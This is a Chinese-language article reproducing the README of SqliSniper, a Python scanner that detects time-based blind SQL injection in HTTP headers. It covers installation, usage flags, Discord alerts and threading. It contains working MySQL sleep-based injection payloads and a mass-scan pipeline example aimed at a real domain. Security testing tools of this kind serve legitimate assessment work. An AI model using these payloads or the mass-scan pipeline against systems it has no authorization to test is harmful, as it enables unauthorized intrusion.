SqliSniper是一个强大的 Python 工具,旨在检测 HTTP 请求标头中基于时间的盲 SQL 注入。它通过使用多线程快速扫描和识别潜在漏洞来增强安全评估过程,确保速度和效率。与其他扫描仪不同,SqliSniper 旨在通过内置的 Discord 通知功能消除误报并在检测时发送警报。
基于时间的盲 SQL 注入检测:查明 HTTP 标头中潜在的 SQL 注入漏洞。
多线程扫描:通过并发处理提供更快的扫描功能。
Discord 通知:通过 Discord Webhook 发送检测到的漏洞的警报。
误报检查:实施响应时间分析以区分真报和误报。
自定义有效负载和标头支持:允许用户定义自定义有效负载和标头以进行目标扫描。
git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
这将显示该工具的帮助。以下是它支持的所有选项。
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
可以提供 url-u flag
以进行单站点扫描
./sqlisniper.py -u http://example.com
允许-r flag
SqliSniper 读取包含多个 URL 的文件以进行同时扫描。
./sqlisniper.py -r url.txt
SqliSniper 还可以使用piping输入-p flag
cat url.txt | ./sqlisniper.py -p
管道功能有助于与其他工具无缝集成。例如,您可以利用 subfinder 和 httpx 等工具,然后将其输出通过管道传递给 SqliSniper 进行大规模扫描。
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
默认情况下,SqliSniper 使用有效负载 .txt 文件。但是, --payload flag
可用于提供自定义有效负载文件。
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
使用自定义有效负载文件时,请确保将睡眠时间替换为 %__TIME_OUT__%
。SqliSniper 以迭代方式动态调整睡眠时间,以减少潜在的误报。有效负载文件应如下所示。
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
如果只想用单个有效载荷进行测试, --single-payload flag
可以使用。确保将睡眠时间 %__TIME_OUT__%
替换为
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
标头保存在文件 headers:.txt 中,用于扫描自定义标头,将自定义 HTTP 请求标头保存在 headers.txt 文件中。
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper 还提供 Discord 警报通知,通过 Discord webhook 提供实时警报来增强其功能。此功能在大规模扫描期间被证明是无价的,可以在检测到时立即通知。
./sqlisniper.py -r url.txt --discord <web_hookurl>
线程可以用 --threads flag
./sqlisniper.py -r url.txt --threads 10
项目地址:
https://github.com/danialhalo/SqliSniper
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里